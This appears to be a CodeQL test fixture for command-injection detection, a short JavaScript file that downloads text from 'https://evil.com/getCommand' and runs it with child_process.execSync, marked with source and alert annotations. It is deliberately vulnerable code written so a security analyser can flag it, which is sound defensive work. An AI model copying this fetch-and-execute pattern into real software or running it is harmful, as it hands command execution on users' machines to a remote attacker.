Files
codeql/javascript/ql/test/query-tests/Security/CWE-078/CommandInjection/third-party-command-injection.js
2025-02-28 13:29:30 +01:00

9 lines
209 B
JavaScript

let https = require("https"),
cp = require("child_process");
https.get("https://evil.com/getCommand", res =>
res.on("data", command => { // $ Source
cp.execSync(command); // $ Alert
})
);